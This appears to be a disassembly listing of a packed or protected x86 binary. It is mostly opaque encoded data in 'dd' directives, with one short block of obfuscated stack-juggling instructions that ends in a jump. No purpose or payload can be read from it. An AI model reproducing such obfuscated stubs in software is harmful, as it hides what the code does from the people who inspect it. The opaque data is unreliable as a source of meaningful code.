		dd 6362CD60h, 0E3CF3560h, 63C61AD0h, 1F940952h,	138DD8EAh
		dd 53C1B912h, 2127D61Dh, 0E21ECD1Eh, 66883210h,	99BFD8FCh
		dd 0F7A709EAh, 6914D618h, 66883990h, 0F3C1BF15h, 8F27D8B5h
		dd 99EEC9C6h, 4699B72Eh, 0E34B37F1h, 6622320Dh,	988B8F96h
		dd 698937FFh, 66443990h, 45A7BF15h, 8F116AF3h, 9977C9BAh
		dd 9891B72Eh, 0E22D37FFh, 66113219h, 9851B72Eh,	0E34B37FFh
		dd 66223210h, 99EAA0FCh, 66888CEAh, 98C73215h, 23A73D14h
		dd 5D113215h, 8C76FB90h, 6DC13D10h, 0EB223215h,	3E73D690h
		dd 9DE5DB15h, 0E37FCDEAh, 63C8CCD8h, 661AB71Ah,	0E3053215h
		dd 661C514Fh, 99D964FCh, 0B79409EAh, 698DD8EBh,	66443990h
		dd 0F9A7BF15h, 8F116A76h, 9977C92Ah, 67FAF29Eh,	6D223215h
		dd 63943DE3h, 8F883215h, 99BBC936h, 0D3ABC29Eh,	63F53634h
		dd 6BC9879Ch, 58C437F1h, 40A73DFCh, 0ED113215h,	988B336Bh
		dd 0A5C5EC9Eh, 66227215h, 62308F2Eh, 0E48737F1h, 6644321Dh
		dd 0E02DC92Eh, 66113210h, 9972D4FCh, 0EBF9B9EAh, 0A127D63Eh
		dd 8235D790h, 66883210h, 0D3CD5215h, 63C63F54h,	7FCCAF98h
		dd 0B57737FEh, 6666B01Ah, 0FBAF3215h, 63F89334h, 0E587E1EAh
		dd 99BBCDCBh, 6B63879Eh, 0D39837F1h, 636C16F0h,	3AF2AF98h
		dd 0B5DD37FFh, 6230B79Eh, 0E30137F1h, 63A03F54h, 20BFBF74h
		dd 9914D903h, 4815BFC6h, 9941D90Ch, 6AA13DC6h, 0E5113215h
		dd 82857390h, 0B8AD3710h, 0EBDDCDEAh, 8D086588h, 695BCD10h
		dd 66443A96h, 62E0B115h, 661100FCh, 4715BF15h, 9941DBB4h
		dd 6DA13DC6h, 0ED113215h, 828573A0h, 61C4DB10h,	0EBA93215h
		dd 63F53F54h, 6BC9879Ch, 0A86F37F1h, 9709EBE2h,	0F0F896E6h
		dd 0EB77CDEAh, 8C193C88h, 0EDF1CD10h, 0EB9419D2h, 0EF8DD63Eh
		dd 8247CB90h, 0EBA7B910h, 3114D63Eh, 0E505BF45h, 9941D848h
		dd 8BA7B9C4h, 3614D63Fh, 0EB0DB942h, 3641D63Eh,	3B90BF98h
		dd 0B7EE37FFh, 0AE03E29Eh, 4CA9BF3Eh, 0DBA137F1h, 63F52B70h
		dd 4D0C3D15h, 0ED443215h, 8231AF90h, 3941910h, 5D8DD60Ch
		dd 71C23DD4h, 0ED223215h, 8200CB90h, 30D3110h, 0EF41D60Ch
		dd 82048790h, 6652DB10h, 0EDD93215h, 99497AD4h,	2622321Ah
		dd 758CB79Ch, 0E38937F1h, 63A00300h, 7F47B7D2h,	661137F1h
		dd 26E23215h, 6654327Dh, 66486315h, 6988A7EAh, 0F37737F1h
		dd 63A02F40h, 77DBB79Ch, 0E39837F1h, 636C14A0h,	0D3F1CD4Ch
		dd 9927D633h, 823BDFA0h, 0D3776510h, 63A01998h,	466B798h
		dd 0B6EE37FFh, 7FEDBF14h, 0DBCF37F1h, 63C614A0h, 4CFC879Eh
		dd 0C27B37F1h, 7215879Eh, 0A18F37F1h, 6611CE53h, 0A6493215h
		dd 0F3613710h, 0E32116D4h, 63F52880h, 403DBF9Eh, 6ECD37F1h
		dd 9A64F5B8h, 66113215h, 72D9879Ch, 9EC737F1h, 46A73DEAh
		dd 0E7113215h, 0BB55EF2Bh, 72C13DC8h, 0A1223215h, 66113213h
		dd 624EB115h, 7215879Ch, 80CB37F1h, 0A7EECDE3h,	0E38B31D5h
		dd 63A02880h, 457F8F96h, 691037F1h, 6688AF91h, 0CC7AB315h
		dd 698898BFh, 66112090h, 624EB115h, 66B874D2h, 0F1223215h
		dd 65F8DBA5h, 0F1883215h, 0E514DAA5h, 82025FA8h, 0E21E3310h
		dd 6688322Bh, 664532ADh, 879FB115h, 6614D8EBh, 6680B61Ah
		dd 0FBC93215h, 63C85790h, 5991E1EAh, 6E0C3D85h,	0E5443215h
		dd 25CB37D2h, 0E5113215h, 0E48762EDh, 6644321Fh, 3E88A2A5h
		dd 6635DBBFh, 0CCD03215h, 8FBB4D95h, 663AB71Ah,	0DB923215h
		dd 6362CCF4h, 6EC03D15h, 0EB223215h, 8C746788h,	0EE5BCD10h
		dd 0E3CF3652h, 63C614A0h, 8E92F53Eh, 0A1259911h, 6644CE53h
		dd 77CB3215h, 0EFEECDEAh, 829C63A0h, 662C6010h,	0C223295h
		dd 0DFA4CD15h, 998DD617h, 824BCB80h, 0EBA96810h, 63F528B0h
		dd 668833D2h, 0A7C73215h, 0C3AFBB11h, 8F14D60Fh, 9977C705h
		dd 664296FCh, 0EBA95215h, 63F528B0h, 0EB013B9Eh, 63AECCC8h
		dd 326C0A94h, 0E31E7E51h, 66883209h, 623CB373h,	0E32D1C59h
		dd 66113205h, 0A00BC29Eh, 3FC1B913h, 8F27D638h,	66113313h
		dd 0B603C29Eh, 5AE8FB26h, 3BA63D15h, 5A113215h,	890C3D38h
		dd 5ABBCDEAh, 5BA63D3Bh, 5A113215h, 660A3D25h, 5A443214h
		dd 0B1A43D2Ch, 5AEECDEAh, 960A3D54h, 5A443215h,	0A1A43D4Fh
		dd 5AEECDEAh, 0D90C3D4Ah, 5ABBCDEAh, 0BEA03D74h, 5A113215h
		dd 0C90E3D6Fh, 8FBBCDEAh, 662232DEh, 69C70957h,	6688F091h
		dd 8F057815h, 99DDCD8Fh, 0E21EFB90h, 668832A6h,	6A998798h
		dd 0ACA937F1h, 48A1C89Eh, 9F0D3DBBh, 4DBBCDEAh,	4DFBC5DAh
		dd 95E6B5ECh, 99CFF4B1h, 0BBD1BF15h, 0ED27D619h, 8233D390h
		dd 6948B710h, 66442890h, 2FA7F415h, 2114D63Fh, 0FC2FE07Dh
		dd 93F1CDC1h, 0EB27D633h, 817C0290h, 3458CD10h,	0A6C1E2EAh
		dd 661AB71Ah, 0E39A3215h, 636C162Ch, 0E34BF290h, 6622320Fh
		dd 4C58B7D3h, 0EC437F1h, 0BF9E2EFCh, 40D787EAh,	0E39C37F1h
		dd 636F5F25h, 9916E2EAh, 69E2B7C5h, 66113790h, 66A9DB15h
		dd 0E3CD3215h, 63C8CCC8h, 0E39C6445h, 636F5A97h, 0A64FE2EAh
		dd 6627B71Ah, 62F83215h, 0EF883215h, 7581651h, 0EBA952D6h
		dd 63FBCCC8h, 6549B945h, 0F6CF0E55h, 6622329Dh,	402CA79Ch
		dd 9E8D37F1h, 0ED443215h, 0F3AB3E45h, 63F52D84h, 42CCB94Dh
		dd 5D851931h, 823DA390h, 76933D10h, 5D883215h, 82620F90h
		dd 62A13D10h, 7113215h,	78836D7h, 666036D2h, 0A1223215h
		dd 66151651h, 0DE883215h, 66443210h, 2A12BF98h,	87EE37F1h
		dd 5A8EB875h, 58C03DFCh, 5A223215h, 24953DFDh, 5A883215h
		dd 74C03D1Ah, 5A223215h, 59953DD8h, 5A883215h, 2FC03DFEh
		dd 7223215h, 674FB8D6h,	0E678D195h, 0E34BB2EEh,	99DDCDFAh
		dd 0A592EC9Eh, 64D63113h, 664426FCh, 677CB915h,	69EAC996h
		dd 66881B91h, 659AB915h, 0A5A1334Bh, 99D8DB10h,	0D087CDEAh
		dd 8DC7334Bh, 0DAA63D3Bh, 8FEECDEAh, 6688321Fh,	98454C95h
		dd 998FB71Ah, 6F8CDEAh,	3077CDEAh, 55136144h, 0BEA89ED5h
		dd 0E6E1D195h, 0E28742EEh, 664432F9h, 0E22D3D29h, 66113230h
		dd 0E287DB29h, 66443391h, 0E22DD929h, 66113000h, 0E287D129h
		dd 66443264h, 0E22DD029h, 66113056h, 38D1694Ah,	0CBC1F5D6h
		dd 6027D8EAh, 0EC113215h, 966BB20Bh, 69C4C995h,	99DDD190h
		dd 0E39A7CEAh, 636C3634h, 42A1A79Eh, 0B8A937F1h, 6517F196h
		dd 0BEB3304Bh, 664CB01Ah, 0BC193215h, 99AFB41Ah, 0B9A3CDEAh
		dd 42D996h, 0F58954B8h,	62D7B1BEh, 0EFAC0E9Ch, 0EF481661h
		dd 822F73A0h, 3F4A6D10h, 624CB14Bh, 99BE52FCh, 0CBA7F5EAh
		dd 6414D8EAh, 0ED883215h, 68F23DCBh, 69A2CB95h,	66113A96h
		dd 25513115h, 66443FFCh, 99CBB215h, 8790EBE2h, 668832EAh
		dd 0E3CFEB3Eh, 63C63634h, 42F4A79Eh, 0DB0B37F1h, 63A02504h
		dd 0C5A63D14h, 5D113215h, 0FD0A3DCDh, 5D443215h, 27A03DCFh
		dd 8FEECDEAh, 6688329Bh, 99E9B7D2h, 662037FFh, 0B89A3215h
		dd 0E686841Ah, 0E54BB2ECh, 6622321Dh, 8F52EB16h, 66883218h
		dd 91BBDB95h, 99C3B3CCh, 4D113215h, 470DB9CCh, 0ED41D611h
		dd 8206D780h, 77ACB110h, 678DD602h, 660CB61Ah, 0BE193215h
		dd 6619B01Ah, 0BCB33215h, 98A2B41Ah, 0D66CCDEAh, 689B981Ah
		dd 8708B2A5h, 0CC85381Ah
		dd 8DA1ED3Eh, 0E5BAA111h, 0D30130D3h, 63A03F54h, 7133B7D2h
		dd 661037F1h, 0A20B3215h, 0E51D6911h, 0A2A136D1h, 9F66DB11h
		dd 0D6C6CDEAh, 0A0CF98FCh, 8EA1F53Eh, 0A2929911h, 38D16911h
		dd 8F40F696h, 99DDCBD2h, 99BCB7D2h, 668D37FFh, 0B8CF3215h
		dd 6526F196h, 4794B90Bh, 0ED8DD611h, 8260D780h,	0DBA17C10h
		dd 63F51C64h, 650C3D14h, 5D443214h, 6EA03DCDh, 5D113215h
		dd 4D0E3DCFh, 0EF443215h, 822F73A0h, 0CB8CB910h, 678DD8EAh
		dd 8F481649h, 662232CBh, 1794F54Ah, 678DD63Bh, 3D443215h
		dd 0A2A16C4Ch, 9EE6DB11h, 0DB0BCDEAh, 63A02504h, 0DDA63D14h
		dd 4D113215h, 828C1388h, 0EBC9B910h, 6527D63Eh,	0E5DE19DEh
		dd 8F3837FCh, 0E5EFA3BFh, 3F7936D1h, 62D5B14Bh,	99711CFCh
		dd 0CBC1F5EAh, 6427D8EAh, 0ED113215h, 683E3DCBh, 69C4CB95h
		dd 66223A96h, 25C83115h, 66883FFCh, 99ADB215h, 87A3EBE2h
		dd 661132EAh, 0E303EB3Eh, 63A03634h, 42C7A79Eh,	20F837F1h
		dd 0A177CDEAh, 8CBB9F90h, 66223010h, 69CFB915h,	9F083CA3h
		dd 6EC73D95h, 65223215h, 6BF871CCh, 0E6883215h,	0BFB3CDFCh
		dd 66DDD394h, 0BF3A3215h, 62A9B79Eh, 0F3CF37F1h, 63C616F0h
		dd 71008F96h, 698937F1h, 99BAFB91h, 69FA09EAh, 66113A97h
		dd 69520915h, 99B95593h, 0A8A97CEAh, 8F92FD3Eh,	0CC618210h
		dd 0EEAD9984h, 0ECDDCDEDh, 69F90E13h, 66883491h, 7EADCA15h
		dd 35223215h, 3812EC9Eh, 634BB114h, 4DEEDAA5h, 62C9B1CAh
		dd 0E54A9986h, 0A57137D3h, 60CF5444h, 0E22DF129h, 66113255h
		dd 0E287F929h, 6644322Dh, 0E22DF029h, 6611322Dh, 0E287F829h
		dd 66443225h, 43DD0F73h, 6621B61Ah, 5BEE3215h, 0E34BCD3Bh
		dd 66223218h, 4213749Fh, 69280EE5h, 66441191h, 8FDA6B15h
		dd 6611322Ch, 8FC9FB26h, 6644320Ch, 662231ACh, 661EDB15h
		dd 60313215h, 8F443215h, 66223210h, 661135ACh, 0ED2CC115h
		dd 8260D798h, 69EBB710h, 66113490h, 833DBB15h, 3F41D631h
		dd 0ED44F1ECh, 69D20E13h, 66885791h, 0E69CB815h, 9DA2C2F6h
		dd 0FA953D65h, 5A883215h, 29C03DFCh, 5A223215h,	21953DFEh
		dd 5A883215h, 59C03DD7h, 5A223215h, 51953DDEh, 883215h
		dd 6961CD28h, 66221F91h, 69DB0E15h, 66881791h, 69A70E15h
		dd 66225091h, 482C5415h, 6B0D3DEAh, 0EC443215h,	96063053h
		dd 0E21E9229h, 66883213h, 664BDBEDh, 0D3AB3215h, 63F516F0h
		dd 3A3EAF98h, 0B5BB37FFh, 0ED72F1ECh, 0E3982253h, 636C1308h
		dd 7A82B14Dh, 40438F98h, 65BC37F1h, 0CDAC1651h,	71158F98h
		dd 658F37F1h, 36351651h, 0C335BFBEh, 0CB41D611h, 4E067616h
		dd 30D26CBEh, 3A07AF98h, 0B5BB37FFh, 0FFFF95FCh, 4ECEDFFFh
		dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A7AF6127h, 2AA8ED96h
		dd 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h
		dd 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h,	2A382C5Eh
		dd 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h
		dd 0D554A851h, 0D7BA8660h, 4DCE2559h, 0F14060F3h, 0CD6A32DCh
		dd 71BA8FFFh, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h
		dd 2FBE4E26h, 9CDF0746h, 0D55142B6h, 5E0003C6h,	835492B8h
		dd 0A4F305E9h, 31E4CB8Bh, 5DB1DABAh, 2FEB3256h,	0BDD5D9BCh
		dd 113C5253h, 0D05B6B57h, 63B977DDh, 79F4B951h,	31B575DFh
		dd 1A382213h, 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 9C34F436h
		dd 0E983D67Ch, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 65D117FBh
		dd 0D525F890h, 0ADFDF53Fh, 929F25F5h, 0CFB73422h, 0B723AC7Ah
		dd 1A20AD29h, 7975FD7Ah, 79987C27h, 0A07017A3h,	0C5ADEBFFh
		dd 83C87D7Fh, 0A4F305E9h, 0BD8DDB8Bh, 5EAFFB9h,	1AA08D8Dh
		dd 44B805EBh, 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h
		dd 0FFF2850Fh, 0C08BFFFFh, 16A1BD83h, 750005E4h, 0DBD8309h
		dd 5E422h, 53501974h, 11B8C08Bh, 89000004h, 0E41A5585h
		dd 529D8D05h, 0FF05E6A9h, 83585BD3h, 0E4220DBDh, 17740005h
		dd 11B85350h, 89000004h, 0E41A5585h, 0F39D8D05h, 0FF05E6A5h
		dd 8B585BD3h, 0A4F2BBC0h, 8EB4672h, 0
		dd 6DFE22D3h, 4E5E9h, 1D506800h, 83E905EBh, 68FFF961h
		dd 5EB1DD2h, 0F96179E9h, 1F3568FFh, 6FE905EBh, 21FFF961h
		dd 8A9037AEh, 0DC4649CEh, 2FFB9A1Dh, 779332ADh,	0D3444BC6h
		dd 8900B5E4h, 0DF581C06h, 73F462B8h, 8601B66Ch,	0D4297807h
		dd 54F00256h, 77FBD0D6h, 0EB714BC6h, 9FEAED6Ch,	4ACD8D26h
		dd 0C849B619h, 0AC54E910h, 88EE516Bh, 8C54E910h, 0ED7F4DCEh
		dd 3DAEE69h, 18B37BA7h,	87E5DAB9h, 0E554E910h, 0EDDE591Bh
		dd 0B37AA620h, 33F8F2D0h, 2F939h, 5E485C00h, 7FF87AA0h
		dd 0EC6E2792h, 0C07BF129h, 0CF9E7BE8h, 0E910B9F6h, 0B93C6654h
		dd 0D990AA3Eh, 0E4D90A5Eh, 804C8F2Bh, 0FA75F921h, 5B9875EEh
		dd 524E764Eh, 0DFBE3CE9h, 6A5B65E6h, 0BC0DA4Dh,	0EABBC790h
		dd 6A499795h, 2B8E454Ch, 801923D0h, 3DE0D506h, 0A703615Eh
		dd 4C014C6Ah, 524C87D5h, 29A434E1h, 261FFE7Ch, 524EE0D4h
		dd 8138BFEBh, 535F382Bh, 76E53DE0h, 8D4AD0F7h, 71FBAD0Ah
		dd 480029A1h, 30FE9h, 3DB42700h, 4FC8809Ah, 0E067D248h
		dd 38B325FDh, 51C88D95h, 0CBDED94Eh, 12088F0Ah,	78A225A2h
		dd 0CC5679F2h, 72098C0Fh, 350D213h, 0DEAC54F0h,	0ED6FD881h
		dd 0F87A4B2Ah, 744F04E5h, 0E77D683h, 54F00253h,	0C2A09D7Ch
		dd 0F954F001h, 0F001A684h, 0A9D50654h, 0E701AD66h, 73E0F877h
		dd 92435F3Eh, 2BAA7017h, 1681E9ACh, 326BA82Fh, 9A4D0FC8h
		dd 54F0C993h, 6851C88Fh, 280F4F6Ah, 8DA60FCDh, 0A5000002h
		dd 0E14BB32h, 50CACD4Ah, 0A37F1E99h, 0B17B631h,	5FC8CF4Ah
		dd 0D844960h, 0A3DC908Ah, 0F770E63Ch, 0A8D4AD0h, 50ADFC8Bh
		dd 54F002D2h, 0D87F5452h, 0D52AED6Fh, 54F0027Eh, 0FD74F921h
		dd 9E1A74EFh, 0F9782498h, 0BF707AD7h, 44343A2Dh, 0CB9F54F0h
		dd 2B350EC7h, 93A63400h, 0F1000001h, 7349C077h,	8834852h
		dd 0CCD683B0h, 0D1C98C0Fh, 8E09CB1Dh, 9AEDF05Dh, 82E8AF2Dh
		dd 0E35F5109h, 309740F7h, 0E95B0ACFh, 13A96A54h, 0E92E4A2Ch
		dd 0FD258554h, 0F9154F34h, 41B833h, 0D8DF0000h,	0D52AED6Fh
		dd 54E90860h, 9E411BDCh, 54E90798h, 0FE46AC33h,	74F6CFDAh
		dd 0F054E92Bh, 847DD33Fh, 20E49AEFh, 172B9D9h, 5C060A54h
		dd 28769276h, 0C7907033h, 0F9AF90F3h, 0C8F933h,	771C0000h
		dd 278649C0h, 4E65CDEh,	0BA17D84Fh, 0D75BB71Eh,	7BCB0D6Bh
		dd 8E4F4B04h, 90ED4C13h, 4F050B92h, 64742112h, 0C29611C6h
		dd 70AAB338h, 24067FF8h, 0E04F050Ch, 6DE6F26Dh,	4A4DBE71h
		dd 3FBA3F6Bh, 10E96D52h, 366C4F05h, 0BCB70582h,	886E4D9h
		dd 35E64F05h, 3EB93E58h, 0F1732C9Fh, 18634F2Eh,	495BAAB2h
		dd 48CF8A94h, 2916C370h, 54EC609Fh, 474302F5h, 0AE741B96h
		dd 7D0BB02Fh, 0B21C3CF8h, 12A5F26h, 91420000h, 2FAB7716h
		dd 7CFD25A8h, 8E40DAFDh, 25A87215h, 0C3F22BAAh,	0E5E867D6h
		dd 9F3EB93Dh, 3352D583h, 0E6E960D7h, 3537085Fh,	0B754F005h
		dd 0C6779AF1h, 19DE444Bh, 8298FF9Eh, 0C87B51D6h, 0C0774E0Fh
		dd 62E97349h, 2491E4EBh, 0F565CB8Fh, 0B8ED6672h, 0E9BF8047h
		dd 0D054E931h, 0CC890ECAh, 169158A2h, 0FFCD4E0Ch, 564C1344h
		dd 986568E7h, 54E93196h, 5F7EF97Eh, 3BBE12C3h, 0C2372CBCh
		dd 5B3EFF6h, 503D3682h,	9F6Dh, 6FD8B800h, 0CBA799F4h, 0F95C0F1Fh
		dd 4F7A684h, 0E0D5064Fh, 148DC03Dh, 26E954F0h, 3ABD3B67h
		dd 6AE17B51h, 2E8DECF3h, 0EFF453D1h, 0B51ED154h, 516BE269h
		dd 4F811EEh, 4A5305BDh,	2F2F775h, 518275BDh, 676CE17Bh
		dd 2F31C1Eh, 625798BDh,	34360F56h, 0B0BD02F3h, 979B617Fh
		dd 7246C176h, 0DB7A8CC1h, 0BB8909FFh, 0A8218DCBh, 7C92FC31h
		dd 0F1F0EECDh, 0DCC48E4Bh, 983FBE3Dh, 652D582h,	0E3F972E4h
		dd 2B71B11Bh, 5A2208CFh, 0E6B3F638h, 19BC3FBCh,	0F9D34A01h
		dd 338h, 51066F00h, 7F4DC477h, 0DDEF6EEDh, 0BA0E894Fh
		dd 19B32CA0h, 85D75203h, 617BF667h, 0CA9E19DBh,	0AA3EB930h
		dd 0D5FD890h, 53A268B3h, 4890000h, 5E08924h, 4,	8704E883h
		dd 505C2404h, 405E089h,	83000000h, 48704E8h, 3C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	2B26h
		mov	[esp], ebx
		mov	ebx, 5EB1C56h
		mov	edi, ebx
		pop	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		add	eax, ebx
		push	edi
		add	dword ptr [esp], 6B9D3E5Ch
		pop	dword ptr [eax]
		sub	dword ptr [eax], 6B9D3E5Ch
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		dw 7727h
		dd 2B8E2895h, 1F686A8h,	84B8EDD0h, 305EB20h, 0CCE0FFC5h
		dd 433C139Dh, 2C0D725Eh, 2E76C50Eh, 9C1A8E13h, 0FC125D9Fh
		dd 0A12F7E71h, 5C09890Ch, 76175F20h, 7968CDBBh,	0E729F1A2h
		dd 3A3A88E3h, 29440AB4h, 0EB31E98Eh, 0B38E0B04h, 4CDE956h
		dd 0A1120000h, 0FF7BA726h, 0CCD5578h, 5E100A8Dh, 0F578A225h
		dd 0F3C25B7Ah, 15B837A6h, 0CFCE490Dh, 6362E553h, 16B930A7h
		dd 65C7386Fh, 0C754F007h, 0C077EAA1h, 3A6FE860h, 77D99CAEh
		dd 0C2714BC6h, 61D4CE91h, 0B461D2E6h, 0CB420911h, 6DEC6BF1h
		dd 8A0DCD5Fh, 565A243Eh, 68900B7h, 0BADD5E1Ch, 5B71EA60h
		dd 0C6920DC1h, 0CE949C66h, 28E566D4h, 17C668EEh, 0DE13C098h
		dd 75F463BFh, 0E67FE067h, 0D6874F04h, 7FFB015Bh, 0B119E0F8h
		dd 7943B971h, 0C993F039h, 0F62C2E14h, 510CC946h, 61h, 49C07784h
		dd 5CDE2786h, 34F04E6h,	4E64022h, 4F7BBC4Fh, 42B736A5h
		dd 1C1CC389h, 0D64F04E6h, 23A6130Fh, 0ED246C76h, 2E14C996h
		dd 0C742F32Fh, 1530Ah, 0CCFA0000h, 2DE661D6h, 0DAEE69E1h
		dd 0BD0F8840h, 0DA9B2DAFh, 0C45E6A5Fh, 0E357B6FAh, 0A3026164h
		dd 4E5E042h, 3E9B5C4Fh,	0E1E467D4h, 4BC67774h, 5AD82584h
		dd 0DA4F04E6h, 0E1CBC19h, 0E2FFCD4Ah, 0F4799898h, 0CA3B9A7Dh
		dd 4F04E668h, 274613C4h, 0EFFD7CFBh, 0BA1D9C5Dh, 5870EB60h
		dd 0E6260479h, 55864F04h, 4825B760h, 0EC478EF2h, 1D2E14CEh
		dd 4Dh,	4BC677B8h, 32DF9E84h, 4E66FCDh,	0D90ACD4Fh, 0B08D5083h
		dd 4F04E5B2h, 4414C132h, 24B433A6h, 0AD4CB40Eh,	0F42EB128h
		dd 68F2C641h, 825F6DE6h, 4231F838h, 0AB2E14CFh,	58h, 4BC677E2h
		dd 0EA6DEB71h, 60A00ADEh, 3255CC81h, 44C377A5h,	33056D74h
		dd 3B7DB50Ah, 4FD011FAh, 0B74F0507h, 1A308807h,	477CEBC6h
		dd 0DF9AE43Ah, 0D2B80058h, 533266AEh, 4A078237h, 0FB5A0000h
		dd 54DA88Ah, 0B7D3044Fh, 1328601h, 31216254h, 14A2E15h
		dd 8D000000h, 7547C277h, 0D3E960D7h, 3B61A10Bh,	0E6096B54h
		dd 0A86B4F04h, 0B336A3EFh, 91EE4D2Ch, 4F04E593h, 8675DE11h
		dd 9E844BC9h, 0D90A5ED9h, 6B54A97Ch, 0CB54E911h, 2DAAB008h
		dd 78FEBAAh, 9E7D5D4Dh,	0B46E71DAh, 0AD2CAD07h,	2CF3241Fh
		dd 0F5C740F6h, 0C7957Eh, 54E95E20h, 39D8D8A2h, 4E543BB2h
		dd 36B1388Eh, 6C7CB1A2h, 9F8B1AF7h, 4BC488D8h, 3B91C271h
		dd 9933AA21h, 9372BE0Ch, 0D022A524h, 33F94173h,	24A3160Ch
		dd 95435F94h, 3E0EB912h, 49000001h, 67F6FD8h, 4F04E624h
		dd 0BB1A4F80h, 0E9035D4Ah, 703E254h, 4F84D453h,	0E9031416h
		dd 0F25F9054h, 5A4007C8h, 584339Dh, 714BBCB7h, 0B833B8C2h
		dd 0E86FFDDFh, 4D191768h, 4C5681F9h, 0B4DB0C8Fh, 5A6EE96Eh
		dd 38900BC0h, 34D5DDADh, 0B1810487h, 33F9A2D2h,	633Bh
		dd 0D6CC5200h, 4128E562h, 0ED4C1399h, 308803B5h, 0FB76E703h
		dd 0E6A3D11Eh, 4E814F04h, 417F5B7Ah, 636A8322h,	65C72CE9h
		dd 0E44F0560h, 0EE5C121Eh, 2E5CA164h, 0D54F0560h, 602B0976h
		dd 63E94F05h, 6763D0E8h, 0E53483ADh, 1045230Ah,	0F1CB44F6h
		dd 2AED8942h, 141D0F6Bh, 6C9DCFAFh, 825D1CA3h, 88000000h
		dd 2AED6FD8h, 1F9A5F4Bh, 0F6904DB2h, 0EB3754E8h, 67DCEC6Bh
		dd 8CF00AAh, 8B21A612h,	4FDDFF58h, 0A9B43888h, 0E8F5D654h
		dd 0B0E55654h, 0D782987Fh, 0BFCB7850h, 3D36823Dh, 66D54D50h
		dd 0B12D5E7h, 0B154E8F7h, 9146A7EBh, 0EC6BB716h, 0AA1DA06Dh
		dd 0A7987FFDh, 5AD4171Dh, 7AF8C5A4h, 0FA4F1417h, 0F06BED39h
		dd 0F9719B27h, 84F96A7Eh, 26A11634h, 2060CA92h,	6C33B16Eh
		dd 0FF386913h, 8508CB54h, 63D6CCD0h, 97402BE4h,	474DB215h
		dd 1554F007h, 0C7749622h, 12D94144h, 298304B2h,	4007D03Ah
		dd 54301BBDh, 4C964963h, 0C0A848B4h, 9C5BBAE6h,	317EAB04h
		dd 9FD0D397h, 0F473E238h, 0D99E841Bh, 7EF00A5Eh, 0E055F7C5h
		dd 2C95369h, 8F6D318Bh,	977D4B83h, 4ACD8A6Bh, 0A1D89F8Bh
		dd 687FD80Bh, 368205B2h, 45C473AFh, 0AC13FC77h,	3, 775106FBh
		dd 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch,	6785D752h
		dd 0DB617BF6h, 30CA9E19h, 90AA3EB9h, 0B30D5FD8h, 5E08950h
		dd 4, 8704E883h, 248B2404h, 29276824h, 2C890000h, 0E0895024h
		dd 405h, 4E88300h, 5C240487h, 81243C89h, 4ECh, 243C8900h
		dd 0EB2165BFh, 5FFD8905h, 8904EC83h, 4832424h, 555F0424h
		dd 0D1240481h, 8F7E1C1Fh, 0B9510847h, 1475311Bh, 0C106E1C1h
		dd 814906E9h, 692ECBF1h, 84F297Eh, 2434FF59h, 4C4835Fh
		dd 51242C8Bh, 0C181E189h, 4, 8704C183h,	0E95C240Ch, 0FFF95796h
		dd 0B8B14E67h, 5EB25A7h, 0E0FFC503h, 2D81792Eh,	73921112h
		dd 789C4669h, 601968BCh, 2524F815h, 562086DEh, 655FFCEFh
		dd 4309D274h, 24A3EBFEh, 21BFD7A4h, 6DBC8C29h, 3354E2F6h
		dd 373EE9B2h, 7A34CCC3h, 3AA0C96Bh, 1D4EAE34h, 3EB96633h
		dd 3D483FCDh, 1BEF52D2h, 1935335Ch, 0A6114D9h, 50BB5E7Ah
		dd 5B9AE582h, 23608DF2h, 54C2D01Fh, 79BA1E28h, 431A09B8h
		dd 1E580263h, 85546C4h,	34224643h, 757BC6E4h, 0BECA04EBh
		dd 3EE95824h, 0B5000005h, 1E048B02h, 60BADD5Ah,	0B36F6EE9h
		dd 1B078601h, 6FB8DF5Ah, 1D945950h, 0B32CA07Ah,	0C740F62Ch
		dd 1A9D5AC0h, 0A09DCC7Bh, 54F00BC2h, 770F4422h,	527349C0h
		dd 2891B678h, 5CE2375h,	0BADD5419h, 0B8E2EB60h,	342FBD36h
		dd 5E06DCFh, 0DB0CCF4Fh, 7DFC7B81h, 9A1DDD6Fh, 266A34CEh
		dd 3CB010C7h, 0A4132983h, 6B5C9725h, 5AB9082Fh,	0D20715CCh
		dd 4B6ECB3h, 4902318Bh,	890C8F4Dh, 8A0DB91h, 0F7C542F2h
		dd 0A4454D17h, 73D2B536h, 4EA3032h, 844B8C4Fh, 4E9B9BBh
		dd 1FF83B4Fh, 0A2259288h, 0EA50D116h, 7B44F04h,	42E0FC9Dh
		dd 6EA32F28h, 910AC05Ah, 78FE083Bh, 0B319EDFFh,	7755874Fh
		dd 0BB81C20Bh, 28022E15h, 284E8218h, 0FFF6A3FEh, 5Ch, 49C0771Eh
		dd 84485273h, 2F10B10Bh, 4F04E64Dh, 5E3B6CAFh, 4E61111h
		dd 1278D94Fh, 0F7FF1C9h, 0C7834C52h, 913112DBh,	15A2E15h
		dd 0FD000000h, 7444C377h, 0D7E562D6h, 0A720948Eh, 0B52EA0EAh
		dd 0E9480D27h, 4E59694h, 6825164Fh, 17C3226Eh, 74AE0D90h
		dd 8F8B44C7h, 994E51C8h, 714BC677h, 25E86FEBh, 0ECFC7FFDh
		dd 0CDAF9077h, 2F4F04E5h, 1CA923ECh, 6FEE6DB5h,	0A12DE65Dh
		dd 7BCD8061h, 46097AFDh, 0E59C9EE7h, 0D7184F04h, 38BF6B7Ah
		dd 40AA2B81h, 0AD85355Fh, 0E547B879h, 474F058Ch, 0ACF6A394h
